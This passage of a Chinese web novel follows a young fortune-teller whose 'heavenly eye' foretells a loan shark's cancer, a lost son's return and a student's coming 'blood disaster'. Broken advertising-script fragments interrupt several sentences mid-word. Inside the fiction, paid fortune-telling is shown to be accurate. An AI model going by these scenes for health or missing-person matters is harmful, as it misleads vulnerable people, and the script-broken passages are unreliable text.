石三满腹牢骚,很快又大声说:“……那你们来评评理,以前米神婆给我看呢,说我肯定会有儿子,那我儿子呢?” “米神婆说话不算话啊!我儿子在哪,我有个屁的儿子!” “我知道你们都看不起我,我以前一个月挣六万,六万呐!我就想有个儿子,我现在还是没有,我活着没意思,没意思!” 米秀眉毛倒竖,把蒋兴叫过来替她,自己往前走,被曲欣拉住:“别理他。” 米秀听着石三嘟嘟哝哝的咒骂声,叉腰不爽道:“我给石大爷打电话,让他来把石三叫走。” 门口石三打着嗝,还在借机发酒疯:“我老婆也跑了,还分我的钱,我别说儿子,连个女儿都没有!米神婆就是个骗子,骗子啊!” 石三发出嘶吼,声音沙哑而不甘。超市人来人往,大多知道他是个什么德行,但也有很多后搬来或租房住的年轻人,闻声好奇看过来。 米秀气得胸口起伏,大骂:“石三!你要不要脸!我妈怎么跟你说的,她让你别干那高利贷的破事,她收你钱了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “你干的什么每个月挣六万,你好意思说,我妈根本不想给你看,是你求着她,死皮赖脸的求,我妈看在你爸救人走的份上劝你的!” “她让你做点好事,说儿子会有,那你做好事了吗?每天到处恶心人,你但凡对你老婆好点,你老婆也不至于给你气流产!” 曲超过来拦住米秀,和几个老熟人把石三拖出超市。 石三也是醉得豁出去,推推搡搡,干脆在地上涎皮赖脸,翻腾打滚。他人瘦瘦的,肚子却大得出奇,衣服卷到胸口,边笑边骂。 “你姓米的对不起我!你把我儿子还给我!你姓米的欠我一个儿子!” 他大吼大叫,口水都喷出来,要进超市的人纷纷避开,探头围观。 曲欣穿过人群,走近去,曲超看到她一愣,忙挥手想让她走开。 “石三叔叔。”曲欣盯着石三醉酒肿胀的脸看半天,很有礼貌的说,“你去医院看过没有,你好像是癌症了。” 她声音不大不小,正好几个拖着石三往外走的叔伯听到。 曲超也一愣,转过来悄声问:“你是说真的?” 曲欣点点头:“你看他那个大肚子,人那么瘦肚子那么大,我也不知道是什么癌,反正肯定有。” “……”扯着他往外走的有一个是他堂兄弟,闻言马上松开手,凑过去给他一耳光。 “石三你听到没有!”他堂兄弟在他耳朵喊,“你之前后背疼,我爸不是叫你去医院?你去了没有!” 同行的其他人也把石三放下来,原地看看曲欣,又看看石三。 石三堂兄弟又用力扇他一下,终于把他扇清醒了。 “你干什么打我!”他还很气恼。 石三堂兄弟也快五十了,人站着,盯住这个从小一块长大,却尿不到一个壶里的同宗兄弟,表情很复杂,眼神也有点沉重。 “你起来,跟我去医院检查。”他顿了顿,又说,“米神婆说你得癌症了。” 石三原本还醉醺醺,一双眼睛浑浊充血,闻言突然抖了一下,眼中闪过恐惧,又愤怒大吼:“哪里,米神婆在哪里,米神婆死了!” “死了怎么说我得癌症,她凭什么说我得癌症。她又不是阎罗王!” 曲欣恰到好处的关切道:“是我看到的,石三叔叔,你先去医院看看吧。” 石三目光落在曲欣脸上,奋力想站起来,狼狈的爬了两下,食指发抖的指着曲欣,颤巍巍道:“你个黄毛丫头,你,你说是就是……” 他声音慢慢变小,有点呆滞的停下来,突然从嘴里吐出一口血沫。 他太慌张,不小心咬到舌头,自己吓自己,眼睛一翻就软倒了。 旁边几个人觑着曲欣,连忙去扶他,曲超表情复杂,把曲欣拉到一边,想说点什么,叹一口气,又摇摇头。 “你回超市去,我把卦钱要过来。” 他帮着把石三塞进超市进货的货车,不管怎么说多年邻里,这点忙要帮,但卦钱哪怕一块,也必须给。 “下次人家没问不要乱说,哎,你妈又要说你了。” 9. 闹事的石三 曲欣悄咪咪回到超市,米秀正专心收银,超市里挤挤攘攘,还留意着外边八卦的不多。几个本地阿婆倒是围着曲欣,让她看看自个有没有得癌。 曲欣笑道:“我现在看得也不远,阿婆你们就别担心了,我哪天要是看到不对,肯定会告诉你们。没有的,就别问这个。” 阿婆们连连点头,私下约好了每周都得来小神婆面前晃一晃。 一会曲欣挤到米秀身边,关心道:“热不热,要不要我替你?” 米秀头也不抬忙碌:“不用,你爸呢?” 曲欣乖巧道:“石三叔叔晕倒,爸帮忙送医院去了。” 米秀眉毛一皱,骂了石三一句,看着眼前如潮的客流,突然往旁边看一眼,大声喊着:“康胜,康胜在吗?” 超市里人声鼎沸,挤得不能再挤,一个瘦高个听到她声音却很快过来:“米姨你叫我。” 米秀胳膊肘推推曲欣:“你带他去开最后面那台收银,他也学了几天了,你看着点。” 曲欣把人带走,这瘦高个是个自来熟,一开口就喊姐喊得亲热。曲欣问你多大?好嘛18岁,还没到生日呢。 曲欣看他面相,脚步一顿,这还是个有钱途的,嗯,未来职业是明星? 这娱乐圈可真好进,康胜就那种瘦得跟猴子似的,五官只能说还算端正,主要是站没站相,一张嘴把自己全家情况都嘟哝完了。 他说他学习不好,17岁高考完就没读了,当时他妈生了大病,他姐被拖欠工资大半年,他跟着个乐队到处乱跑,混了一年挣了点钱,全成了药费。 曲欣内心:居然还真和娱乐圈有点关系。 康胜他妈病好了就把他叫回来,他孝顺嘛,其实他跟着学了吉他,想去当歌手。他妈让他在超市先干着活,想攒点钱送他去学个什么。 康胜想学唱歌,他说着就要给曲欣高歌一曲,曲欣礼貌拒绝。 “学唱歌挺好的,你先在超市认真干着,攒了钱再说。” 康胜很得意:“我也这么想,毕竟要脚踏实地!” 曲欣:“……” 曲欣在旁边看他收银,感觉他瞧着猴似的坐不住,其实干活还挺细致。嘴碎和阿婆大姨聊得来,遇到离谱客人也能应付。 曲欣又看了一会,没出差错,就到处转了转。虽然有监控,超市里小偷小摸还真不少。 一会她遇到理货的娄姨,娄姨平时还做着清洁,看到她左右望了望,凑过来。 “小神婆,听说你算出来石三得癌症啦?” 娄姨看着快五十的人,其实才42岁,老是慌慌张张的样子,特别爱嗑瓜子。你瞧着她顶多只能做做清洁,其实她干超市快二十年了,力气也有。 曲欣和她关系不错,曲欣和大部分阿婆大姨关系都不错。 曲欣笑道:“这你都知道啦,他应该去医院了。” 娄姨义愤填膺:“嗨,咱群里都在说呢,这个石三!不怪阿秀骂他,他自己求的米神婆,米神婆要他做好事他不做,现在来这怪天怪地!” “还有他老婆,多好一个人,被他气得孩子没了,幸好这次离婚分了套房子。唉,其实要是不离婚,等石三死了都归她……” 娄姨虽然不是本地人,但嫁过来十多年,对米神婆深信不疑,连带对曲欣这个小神婆也信心百倍。 癌症啊!石三在她眼里已经是个死人了。 曲欣笑了一下,轻轻凑过去说:“其实他有儿子。” 娄姨眼睛顿时瞪得老大,一脸‘我想听不知道你方不方便说’。神婆毕竟都有一些忌讳。 但她眼睛和曲欣一对,马上会意:“这,我把这事透给石大爷?” 石大爷是个正派人,今年也68岁了,在他们这还是很有名望的。石大爷对石三这个侄子是又嫌又不能真扔下不管,最记挂的就是侄子至今没个后人。 曲欣小声:“别了,我可不想石大爷来拜托我。” 懂了,那就是让石三来道歉。 想想也是,米神婆看过的那么多人,就他一个在这发酒疯找事。要不是石三他爸是救人走的,米神婆根本都懒得给他看! 娄姨眼睛转了转:“那你说说这是咋回事?” 曲欣:“他不干好事吧,反正孩子确实是有,十七八了得有,可我看得不远,我也不知道是哪个。” 骗人的,未来看不了太远,已经发生的还是能看一点。 这孩子好像正为钱发愁,曲欣想着不然促成一下,给人家解解燃眉之急。 娄姨看曲欣的眼神惊叹又钦佩:“诶哟,你说这,这天眼,真厉害。你现在也和你外婆一样了,真好!” 她不知想到什么,犹豫了一下:“小神婆,你说这孩子丢了十年,能帮忙找回来吗?” 娄姨晓得米神婆是无所不知的,但小神婆天眼才开,据说看不太远。 她最近都琢磨着这事,时间过去太久,她不知道小神婆能不能看。 但转念一想,万一呢,或者就是现在不能,等小神婆跟她外婆一样厉害的时候,能不能找到那孩子? 丢孩子的不是她,是她一个命苦的老乡。对方父母去世早,好不容易成家立业,结婚生子,孩子三岁突然丢了,他老婆也和他离婚了。 十年前,娄姨那老乡骑着摩托,在附近一个镇一个镇的找。娄姨因为他一口乡音认识了,热心的给他介绍米神婆。 怎料就是那么不凑巧,人过来了,米神婆却去世了。 老乡谢过娄姨,不愿放弃,骑着摩托继续找。后来两人又见过一面,留了联系方式。前年娄姨女儿给她捣鼓微信,不知怎么把这老乡也加上了。 娄姨也看朋友圈,这老乡的朋友圈每天都是关于找孩子的事。 一转眼十年了,还在找,中秋节在找,过年也在找。就去年春节,人人家里都是团团圆圆,就他开着贴满寻亲启事的小货车还在路上。 她这老乡姓谢,名字叫谢寻。有时她都想是不是这名字起得不好,小小年纪父母去了,结了婚孩子又丢了,老婆也走了。 可他身上就有那么股一定要找着孩子的劲头。 人一生有几个十年呢? 谢寻这些年开了个小公司,也算有点身家,可别说再生孩子,他连老婆也没再找。他就是想找回他那个宝贝儿子,一定要有个结果! 可怜天下父母心,娄姨真希望他能早日如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 愿。 曲欣看出来娄姨表情唏嘘,颇为同情,就问:“孩子是怎么丢的?” 娄姨立刻道:“说是他在屋里头睡觉,当时有点感冒,睡太沉了,人贩子到他院子里抱了孩子就走,他老婆当时在邻居家。唉,这人贩子太猖狂了!” 曲欣想了想,还是摇头:“可能性不大,除非他本来这几个月就能找到孩子,我还能有个线索。” 曲欣说:“像这种人贩子盯上抱走的,我外婆也不一定每个都能找到。” “唉,可惜了。” 曲欣又说:“如果你老乡愿意,找我看看也行,万一有意外之喜呢。” 娄姨想想也是,当即点头道:“行,我这就跟他说!” 曲欣小声:“来的话先问我,别被我妈知道了。” 娄姨:“……你妈还是不乐意呢。” 曲欣笑眯眯:“所以躲着她。” 曲欣大概是首个躲着她妈给人看命的神婆吧。嘻嘻,也挺好玩。 过了十点多,曲超开车回来,米秀看到他就说:“你先回去睡吧,带上欣欣。”曲超今天坐了大半天的车从老家回的,让他早点休息。 曲欣和老爸一起回家,路上问:“检查怎么样?” 曲超表情有点复杂:“还不确定,要再做什么增强CT,但我看八九不离十。唉,人是不能得癌啊,一知道,他整个精气神都没了,当场就在那哭。” “哭自己连个儿子都没有吗?”曲欣表情很冷漠。 曲超看她一眼,摸摸她脑袋:“他是有点……不过,唉,医生怀疑他这个是胰腺癌,肚子那么大,发现的也不算早。” “好像这个胰腺癌是什么,五年里活着的只有5%到10%。我搜了一下,说是大部分人半年里都死掉了。” 曲超和石三算同龄人,尽管石三为人不怎么样,提起来还是惋惜。 曲欣哦了一声,她大概确实像她外婆,对好人心软一点,对人品差劲的从不随意施舍善心。石三做高利贷违法,道德层面也是劣迹斑斑。 被他不干好事影响一生的人不少,他那私生子的妈妈就是其中一个。 曲超摸出包烟,打开看看,又收起来:“石三想找你指条活路,我给拒绝了。又不是拍电视剧,医院出的结果,难道你还能给他口仙桃吃? “喏,这三千他给你的。他非要再找你的话,你好好说,别刺激了他。” 曲欣接过这一打红钞票:“你不是说拒绝了。” 曲超表情难看:“他要真是胰腺癌,本来人就疯,还能听我的?” “他是指着你能给个希望,欣欣,他要找你,一定得爸爸陪同!我就怕他没儿没女,也没个顾忌!” 这会曲超也觉得开这个天眼挺麻烦。岳母在的时候,老感觉她那神婆当得举重若轻,说一不二,根本没谁敢得罪。 到自己女儿,女儿这么小,才大学生呢,怎么处理得来! 也难怪自家老婆不放心,放他现在也担忧。 曲欣沉默,她明白老爸的意思。当神婆也不是只有助人时的快乐,总会要面对各式各样的问题。 不过她不怕,她可是开了天眼的小神婆! 10. 丢失的孩子 看到娄姨微信的时候,谢寻正开车从沿海某村子出来。 他找儿子找了十年,老觉得儿子一直在等他。这十年他去过很多地方,见到过很多疑似儿子的孩子,认识了无数个满怀期望的寻亲者。 他陆续帮很多人找到自己的孩子,也给遇到意外的寻亲家长或孩子捐过款,他有十几个微信寻亲大群,见识了寻亲途中种种悲欢离合,早已不会沮丧。 他只有一个念头,继续找下去,儿子在等他,儿子需要他! 儿子丢的时候才三岁,如果他不找了,儿子是没法寻到他的。他们父子就真的再也见不着了。 谢寻停在路边,打开手机上儿子的相册,点开自动播放。 他无声叹了口气,想起儿子出生的那一幕,至今还历历在目。 谢寻父母去世得早,出社会也早,24岁他和妻子结婚,第二年就有了儿子。谢寻和妻子关系不太好,但对儿子他从知道他存在那刻起就满怀期待。 谢寻想要一个属于自己的温暖的家,但老婆对他不太亲热。她对谁都不亲热,包括她自己的儿子。 没关系,谢寻会对儿子很好,他会是个好爸爸,一定能让儿子幸福快乐长大。 谢寻将自己一腔热情都倾泻给儿子,手机里拍的最多的就是儿子照片和视频。 儿子还是婴儿时,每天起夜喂奶都是他,前妻母乳不够,早早换成了奶粉。后来觉得儿子太吵,又和他分房睡,从来不管儿子哭闹。 谢寻把儿子带到三岁,亲力亲为,全部休息时间都用来和儿子相处。和前妻相比,谢寻为儿子操碎了心,付出了更多时间和精力。 比起妈妈,儿子也更加黏他,走到哪都想着他。 其实,谢寻一度怀疑前妻脑子有点问题,听不懂人话。 她觉得儿子一个婴儿每天吵闹就躲着他,装作看不到他,生怕一搭手儿子就会赖上她。 儿子跌倒,烫到,她走过去看一眼,觉得没事就自己走开。儿子要抱,她拉过来抱一会,觉得烦了就推开他。 她一切都以自己的需求优先,不爱说话,也不和儿子沟通,每天沉浸在自己的世界里,渐渐儿子也不再需要她。 但前妻好像觉得无所谓,她反而更自在一点。 谢寻对此无能为力,前妻也不怎么和他说话,她像没长大的小孩子,有饭就吃,到点就睡,没什么喜好,也不需要和别人交流。 为了儿子,谢寻不可能离婚,就这样吧,前妻没什么不良嗜好,她只是……只是全都无所谓而已。 幸好儿子不像她,儿子从小就聪明,也有充沛的情感需求。 他看到小狗摔跤会担心,吃到好吃的会高兴,被夸奖会得意害羞,看到爸爸疲累会想要安慰他,认识了新的小朋友会惦记牵挂。 他识字比同龄小朋友厉害,记数字记得又快又好,从不胡乱生气,也善于沟通。他是个正常的,聪明的可爱小孩。 他是谢寻血脉的延续,情感的维系。 谢寻不幸丢失了他,从没想过放弃寻找。今天又一次失望而归,他坐在车上,只靠着儿子的相册就能喘一口气。 没关系,也许下一秒就能获得转机,他儿子正在等着他! 然后他发现了娄姨的微信,娄姨告诉他,十年前去世的米神婆的外孙女开了天眼,虽然暂时没有米神婆厉害,但也许能帮到他。 谢寻盯着米神婆三个字,抖了一下眼睛。他打开窗户,点燃一支烟。 寻亲这么多年,路上也遇过绝望中求神拜佛的家长,甚至谢寻自己也拜访过米神婆,只是对方突然去世,不了了之。 十年过去,谢寻见得多了,灵验的神婆神汉少之又少,甚至可以说根本就是瞎蒙撞上,灵过一次,剩下都是瞎扯。 其实如果真有个灵验菩萨,他愿意砸锅卖铁,奉上一切! 谢寻静静抽完烟,外边刮来压抑的凉风,也许要下雨。他探头看了一下,从微信退出来,相册里儿子的笑脸又开始循环播放。 谢寻用拇指擦了一下儿子的脸,打起精神。 他回复娄姨:多谢!我现在在外省,还要去两个地方,回来拜访! 谢寻加了神婆微信,神婆说,他儿子丢的时间太久,她也没法保证一定能找到,只让他有空当面来看看。 谢寻连声道谢,关上窗户,继续出发,开着开着,果然下起雨。 渐渐雨越来越大,他不得不停在路边,时间一点点流逝,十一点多了,雨再不停,今天又要睡在外边。 这时他其中一个群里传来喜讯,有个孩子丢了三年的夫妇找到了他们的女儿!大家纷纷恭喜,那对夫妇喜不自胜,连发三个大红包。 谢寻发自内心为他俩高兴,接着他在群里看到一个人。 他突然对比了一下娄姨给的地址,问对方:你还在莲渠市? 隔了两秒,对方说:准备走了,刚买的高铁票,得带我妈去复查。 准备走了那就是没找到,寻亲途中常有的事。谢寻想了想,把神婆的微信推送给她,又将电话和地址转过去。 谢寻:这是我老乡推荐的神婆,说很灵验,人就在莲渠市,你可以去看看。 寻儿郗舟:好,谢谢。 谢寻给神婆说了下这事,神婆问过孩子丢失的时间,仍然说不一定能保证找到孩子。 唉,谢寻也只是死马当活马医。为他人高兴过后,无边的沉重又涌上心头,无处排解而已。 快零点了,外边大雨还在下,他拿来大衣披上,椅子放平,眼睛睁着,怎么也睡不着。 另一头郗芳点击号码,微信弹出呼叫提示,郗芳犹豫一会,怕打扰到对方,决定明早再联系。 郗芳转头道:“妈,要不咱们改签,我这有个……有个神婆,我想去看看。” 她妈闭着眼睛躺在床上,旁边是收拾好的行李箱,闻言动了动,声音沙哑道:“哪来的神婆啊。” 郗芳轻声说:“谢寻老乡告诉他的。” 她妈就慢慢坐起来,两人沉默一会,郗妈说:“改吧,万一呢,我也去看看神婆。” 第二天,郗芳六点醒来,心里藏着事,怎么也睡不着。她悄悄爬起来,一动,她妈就跟着睁眼,说:“你给神婆发个短信,看方不方便联系。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 郗芳反复编辑,发了短信,突然笑了一下,跟她妈说:“没想到我也要找神婆。” “挺好的。”她妈语气平静,“神婆,神庙,都试试。” 神婆很快回复:你加我号码微信,有空现在可以过来,我九点半有事。 郗芳赶紧加了微信,打开高德看昨晚收藏的公交,行李早收拾好,现在就能走。她估摸着时间和对方约了八点见面。 神婆微信头像是个卡通的大黄猫,看着挺活泼,郗芳斟酌着把自己情况说了,神婆只说当面看了再说。 下车已经是七点半,找到莲花村,到处是上班上学的人。郗芳和她妈拎着行李箱一路往里走,渐渐有点找不准位置。 路过一家早餐店,郗芳停下来,旁边一男一女正吃馄饨,瞧着像大学生。 郗芳就把地址给他们看:“请问这是哪里?” 小情侣看半天,也有点茫然,一个遛着狗的阿姨探头过来:“你这是找小神婆吧?” 店里正吃着馄饨的几个脑袋都抬起来,看了看郗芳。 郗芳忙道:“对对,我找曲神婆。”她舔了舔唇,说完神婆两个字,还有点羞涩。 小情侣里的男生闻言诧异:“神婆?我们这还有神婆啊。” 遛狗阿姨理个时髦的爆炸头,眼皮夹了他一下:“那你不知道的多了。” 她转身指给郗芳:“你往这边,直走,走到底,有一栋红色的三层楼,小神婆住二楼。不过你别去敲门,先打电话问小神婆。” 郗芳连忙道谢,旁边一个大爷看着她娘俩,有点好奇:“你们这是看病还是看什么。” 郗芳心想曲神婆看来小有名气,就说:“我找我孩子。” “找孩子。”大爷敲敲烟袋,“那你快去吧。” 郗芳边走边回头,想问问神婆灵不灵,她有点紧张,又满是期待。她妈慢吞吞的肯定说:“我觉得这神婆不是糊弄人。” 郗芳胡乱点头:“对,对,我看那几个上了年纪的都,都催我快去。” “肯定是灵的,所以让我快点……”郗芳说服自己。 其实郗芳也四十了,这岁数在她年轻时候,她也觉得是‘上了年纪’。儿子走丢是八年前,时间转瞬即逝,她的心还停留在那一年。 如果不是有她妈,她可能根本撑不下来。她时常觉得自己内心孱弱,找了这八年,还像个爱脸红的小姑娘。 可现在她妈六十多岁,身体也渐渐有各种毛病。她怎么忍心让她继续陪自己奔走? 但她妈一直坚持,郗芳劝不动她那颗坚韧的心。 如果今天能找到儿子该多好啊。每一天醒来,郗芳都这么想着。 菩萨保佑我,让我明天找到我儿子。每一天睡前,郗芳都在心里祈祷。 郗芳不是意志坚定的人,她几乎每天都会燃起希望,自我安慰,又失去希望,陷入痛苦。有她妈妈在身边,想着一定要找到儿子,她才强迫自己坚强。 终于,郗芳找到那栋红色三层楼,还没到八点,她犹豫了一下,打开微信。 神婆恰好发来消息:我看到你们了,等我下来。 11. 丢失的孩子 郗芳紧张得掐自己手掌心,原地来回踱步。 很快一个小姑娘跑过来,看了看她,说:“是寻儿郗舟吗?” 郗芳连忙点头:“是的,你是……”寻儿郗舟是她微信名。 小姑娘仔细看她一眼,自我介绍道:“我姓曲,就是你要找的神婆。” 她早上六点上厕所,顺手回了消息,没细想又睡了。刚楼上一看,差点把人家给忘了。 郗芳闻言愣住,她上下打量这小妹子,看着顶多十八九岁,人青春靓丽。这,这是神婆吗? 一瞬间她的心直往下坠,失望得眼眶发酸。 她看了看郗母,勉强忍住不满,一边想是不是误会,一边遏制不住自怨自艾,怎么不搞清楚再过来,每一次都像个无头苍蝇。 定好的去给她妈中医复查,这高铁改签,可能又得明天才能拿到药。 郗母安抚的看她一眼,主动搭话:“你好,我们是听了介绍来的,请问怎么看?”她没找过神婆,不知道有没有什么仪式。 郗母心里也失望,但来都来了,哪怕是个骗子,她也得问清楚。 况且,眼前这孩子年纪虽小,表情却沉稳,眼神很清澈。她们母女找了多年,多耽搁一会也没什么。 曲欣看出她俩的不信任,很淡定的说:“把孩子丢了的前因后果说一下。” 她领着郗芳母女到楼下的长木桌,赵阿公和两个孙儿路过,打招呼道:“小神婆,给人看命呢。” 曲欣转头笑了一下:“阿公你小声点,小鹿儿今天好吗?” 阿公:“好,好呢!能吃能睡,不怕了,哈哈!” 曲欣寒暄过,郗芳情绪也稳定下来,和她妈握着手。 郗芳的故事很简单,独生女,她爸意外去世,家里好几套房子出租,条件还不错。郗芳从小被父母宠大,不怎么想事,她妈让她相亲结婚,就结了。 相的这个姑爷有个哥哥,人瞧着文质彬彬,说好结了婚留一个孩子姓郗,对方也答应了。 郗芳26岁生的孩子,这孩子最初和姑爷姓,想着第二个再姓郗。结果做完月子没多久,在床上抓到姑爷和他嫂子,这嫂子还怀孕了。 姑爷的哥哥在外打工,结婚多年一直没孩子。大概也去医院检查过,不知怎么想的,他全家商议过后,居然要留下这孩子! 郗芳虽然性格软,但不是傻子,你留下这孩子,以后上学成家是不是要管?自己第二个孩子还没影,生下来姓郗,你又是什么态度? 郗芳在她妈的支持下离婚了,郗母也没想到这千挑万选的姑爷这么荒唐,他嫂子可比他大八岁! 离了婚,孩子跟着姓了郗,取名叫郗舟。 郗芳母女特地带着孩子去外公——现在是爷爷了——坟上祭拜,觉得这结果也不错。一家三口都姓郗,爷爷心愿也了,不挺好? 郗芳不想再婚,每天下班捣鼓自己的小爱好,带孩子,和母亲拌拌嘴,结伴去超市,日子过得平淡又安逸。 转折是在郗舟6岁的时候,郗舟一年级。 他那离婚后就死了一样没动静的爸爸突然冒出来,要带孩子回老家祭祖,说是修了族谱,家族大事,怎么也要带孩子回去一趟。 什么鬼家族大事,孩子都改姓郗了!这就是郗家人! 郗家当然不乐意,郗母打听到这鬼扯的前姑爷嫂子生的孩子不太好,从小病歪歪,别是回头又打起了郗舟的主意。 可她俩没料到对方居然跑去郗舟学校,抢了郗舟带回老家。 郗芳当天中午报警,晚上联系到对方,就说孩子丢了。 孩子丢了!好轻飘飘的一句话,不是你家犯贱,我孩子怎么会丢! 郗芳怀疑他家自导自演,可警察来了,孩子是真丢了! 郗舟从小没见过他爸,被陌生人抢走还去的乡下,路上他偷偷跑了。那么点大的孩子,按说找也容易,可他就是不见了。 郗芳天都塌了,罪魁祸首还要去祭祖,祭你妈的祖! 郗芳冲动之下,带着大喇叭去大闹一场,警察怎么不把他抓起来,丢的是自己孩子就可以不管吗?怎么不来个大雷把他劈死! 那之后就是找孩子,不停的找孩子。有个线索是,郗舟可能自己上了一辆去南边的长途巴士,中途发现不对,下了车。 下车的地方有个当地特别大的集市,汽车在那停了几分钟。一个卖鸡蛋的婆婆说有看过疑似郗舟的小孩跟着一个老头走了。 “15年集市还开着,每一次我都带上我儿子的照片和海报,可是没有找到。”郗芳麻木的说着,“他大概是被拐走了。” “16年那儿开了家商场,然后是电影院,火锅店,各种……样子跟以前完全不同,我儿子就算还记得,大概也认不出来了。” 郗芳又陷入悲观情绪:“他可能被骗走了,也可能被好心人带走。如果他还记得,他肯定会回来找我。” “我不敢想,他是不是出了意外,或者遇到不好的人家。他现在过得好不好?” 她儿子六岁走丢之前,从没离开她超过一天! 也许是曲欣倾听的姿态很认真,郗芳不知不觉流下眼泪。 郗芳对这次找神婆已不抱希望,本来她也不信这个,她只是……失望太多次,病急乱投医,只要有一丝可能,都愿意试试。 然后她就见面前这位小神婆点点头:“我知道了。” “我刚看了你面相,你运气挺好。本来像这种孩子丢得太久,希望很渺茫。但我看了,你就是不来找我,到七月底也能找到孩子。” 小神婆轻飘飘的话一出口,郗芳甚至没反应过来。 旁边郗母猛地站起,郗芳才后知后觉。 她眼泪还流着,耳朵边似在打雷,她妈一把抓住小神婆的手,好像在问孩子在哪里。小神婆抽开手,眼睛很平静的望着她。 郗芳耳边轰隆隆的声音散去,她终于接收到小神婆的信号。 “我儿子……”郗芳站起来,腿一软跪倒在对方面前。 小神婆吓得来扶她,郗芳心里居然笑着想:这位小神婆看着像个大学生。 她一定不会骗她的,就算骗她也可以,只要能找到儿子,她愿意付出所有! 曲欣有点慌,抬头看了看四周,可郗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 芳怎么也扶不起来,连带着旁边头发灰白的阿婆也跟着跪下,曲欣真想跳起来跑路! 她不得不加快语速:“站起来!站起来我才说!” 郗母情绪激烈下连连咳嗽,曲欣忙扶她起身,又去扶郗芳。 郗芳腿软得没力气,想起都艰难,她眼泪又冒出来,勉强坐回椅子上,曲欣无奈道:“别担心,我是看到了,你们今天是不是定好要去另一个地方?” 郗芳与母亲眼神激动,连连点头。 曲欣也懒得卖关子,直接说:“你儿子刚中考结束,我猜他考得不错,可能在学校或小区挂了横幅,可能会接受采访。” 郗芳眼泪冒得像水龙头,擦也擦不干净,她紧紧抓住母亲的手。 视线里小神婆的脸庄严又肃穆,她正宣告着她的命运。 “等下你们继续之前定好的行程,途中把孩子的事散出去。可以多印点照片,看到人就发,这路上会有个热心人,他知道你家孩子的消息。” 曲欣说:“留自己的联系方式,可以在那呆一阵,别太着急,注意保重身体。” 她顿了顿,又说:“你们家孩子也在找你们。” 郗芳嚎啕大哭,她要忍她根本忍不住。 肯定是真的,一定是真的!她儿子也在找她啊! 郗芳捶打自己胸口,声音哽咽:“他过得好不好,啊……” 她去看自己同样流泪的母亲,不知为何她有种强烈预感,或许是小神婆看她的眼神,或许是她微微怜悯的神情,她灵魂都在欢腾,她等到了! “他是被收养,还是被拐走了,他还记得我,他……一转眼长大,都中考了……” 母亲粗糙的手擦掉她眼泪,严厉的声音说:“别哭,现在去找孩子!” 曲欣有些同情,温和道:“这些我不知道,但你比别人运气好,最迟七月底就能找到人。” 郗芳在母亲劝慰下勉强止住眼泪,郗母要给红包,曲欣说:“给八百吧,等找到孩子,愿意你们就捐一笔钱,当作给孩子积德。” 郗芳迟疑,曲欣不容置喙道:“你相信我就听我的。” 郗芳和母亲连连点头:“我一定捐,孩子找回来我再来,小神婆,谢谢你,谢谢你告诉我!” 郗芳母女走了,来时心中忐忑,去时满怀期望。 曲欣注视着她俩离开,心想等人找回来,肯定得很多寻亲家长过来。 可她天眼还只能看一个多月呢,又不是每个人都像郗芳那样幸运。 曲欣决定发挥主观能动性,路上看到什么不妥,主动上门推销! 九点多,曲欣在家吃饱喝足,百无聊奈,决定先回学校。 她到路口扫了辆自行车,骑上慢悠悠,一路打招呼,没多久遇到红绿灯。这功夫她左右看了看,突然一愣,骑着车往后退了退。 旁边是一对小情侣,男生骑电动车载女生,穿着曲欣大学的校服。两人颜值都不错,男生板寸,气质张扬,女生短马尾,稍显内向。 曲欣盯着女生认认真真看半天,突然问:“算命吗?” 女生诧异的抬起头:“?” 12. 血光之灾 美好的上午,谢洲骑车载着女朋友,美滋滋上学去。 没错!言雯现在是他女朋友啦!谢洲想到这就转头和言雯对视一眼,按耐不住眉飞色舞,言雯也有点害羞的笑,轻轻揪住他衣角。 言雯是他同班同学,谢洲追了她大半年,特地在莲花村租了房子,和她一起兼职,坚持不懈在她周围打卡,月初她答应了他! 哈哈,世界真是美好,早上他们还一起吃早餐,去见了言雯的舅妈,现在结伴去上课,以后每天都是两个人! 红灯倒计时,所有人停在斑马线前。谢洲往后拉住言雯的手,言雯动了动,乖巧的没有挣扎,两人脸上都带着笑。 突然旁边有个清脆的声音说:“算命吗?” 谢洲和言雯闻声转头,一个骑自行车的女生正一脸真诚的望着他俩。 谢洲满头问号,感觉她没什么恶意,笑哈哈道:“怎么算,算姻缘吗?” 哎哟,言雯在他后边拳头捶了他一下,一点也不疼。 女生摇摇头,目光注视着言雯,认真对她说:“我刚看到你最近会有血光之灾,很严重那种,我给你改命一千六,算不算?” 谢洲:“?”现在骗子都不用完善一下形象,大马路上随机抓人? 谢洲很不爽:“你别咒人好不好,那我还说你有灭顶之灾咧。” 言雯又戳了他一下,声音清冽道:“谢谢你,我不信这个。” 红灯闪烁数秒,对方笑了笑,自在的说:“你们住莲花村?其实我是个神婆,可以去村里问问我,我姓曲,叫曲欣。一周之内,想好了来找我。” 谢洲一脸懵逼,绿灯行,对方冲他和言雯招招手,踩着自行车潇洒地走了。 “啊,什么鬼,她是不是逗我们玩。”后边人催促,谢洲骑着电动车通过路口,心想开口改命一千六,说了两句又跑了,怕他揍人吗? 但那女生表情真的有点严肃,眼神也很奇特…… 谢洲突然想起来:“哎,早上吃馄饨那是不是找曲神婆的,连环骗吗?先出来个人引起我们好奇心,然后……” 谢洲顿了顿,又说:“不对啊那个遛狗阿姨我见过,她应该是本地房东吧,雯雯你有印象没。” 他手臂撞了撞后边的言雯,言雯迟疑道:“我好像还真听说过。” 言雯声音很好听,谢洲老觉得听她说话是耳朵享受,他正是有次班级活动听言雯唱歌才注意到她,后来就喜欢她了。 “你舅妈跟你说的吗?”谢洲笑起来,言雯现在住她舅舅家,城中村出现一个神婆好像也说得过去。 “嗯。”言雯乖乖的说,“我知道是有个小神婆,但,但她也太小了吧。” “可能这就是新时代神婆,不看年龄看疗效。”谢洲说着笑话,电动车灵活转了个弯,想起对方说言雯有血光之灾,又有点不舒服。 “哎,那你听到的这个小神婆灵不灵。”谢洲说。 言雯:“灵吧……我舅妈说之前米神婆就很灵,现在这个小神婆是她孙女,还有阿婆在朋友圈给小神婆打广告……” 谢洲:“???”这么时髦。 